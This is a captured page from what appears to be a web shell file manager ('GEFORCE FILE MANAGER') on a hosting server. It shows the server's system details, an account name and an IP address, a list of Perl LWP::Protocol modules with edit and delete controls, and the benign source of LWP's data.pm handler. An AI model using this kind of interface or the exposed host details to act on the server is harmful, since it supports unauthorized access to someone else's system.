[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.20
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
perl5
/
vendor_perl
/
LWP
/
Protocol
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 cpan.pm
1,361 B
SET
[ EDIT ]
|
[ DEL ]
📄 data.pm
1,233 B
SET
[ EDIT ]
|
[ DEL ]
📄 file.pm
3,843 B
SET
[ EDIT ]
|
[ DEL ]
📄 ftp.pm
19,140 B
SET
[ EDIT ]
|
[ DEL ]
📄 gopher.pm
5,728 B
SET
[ EDIT ]
|
[ DEL ]
📄 http.pm
15,111 B
SET
[ EDIT ]
|
[ DEL ]
📄 loopback.pm
586 B
SET
[ EDIT ]
|
[ DEL ]
📄 mailto.pm
4,406 B
SET
[ EDIT ]
|
[ DEL ]
📄 nntp.pm
4,196 B
SET
[ EDIT ]
|
[ DEL ]
📄 nogo.pm
610 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: data.pm
package LWP::Protocol::data; # Implements access to data:-URLs as specified in RFC 2397 use strict; our $VERSION = '6.34'; require HTTP::Response; require HTTP::Status; use base qw(LWP::Protocol); use HTTP::Date qw(time2str); require LWP; # needs version number sub request { my($self, $request, $proxy, $arg, $size) = @_; # check proxy if (defined $proxy) { return HTTP::Response->new( HTTP::Status::RC_BAD_REQUEST, 'You can not proxy with data'); } # check method my $method = $request->method; unless ($method eq 'GET' || $method eq 'HEAD') { return HTTP::Response->new( HTTP::Status::RC_BAD_REQUEST, 'Library does not allow method ' . "$method for 'data:' URLs"); } my $url = $request->uri; my $response = HTTP::Response->new( HTTP::Status::RC_OK, "Document follows"); my $media_type = $url->media_type; my $data = $url->data; $response->header('Content-Type' => $media_type, 'Content-Length' => length($data), 'Date' => time2str(time), 'Server' => "libwww-perl-internal/$LWP::VERSION" ); $data = "" if $method eq "HEAD"; return $self->collect_once($arg, $response, $data); } 1;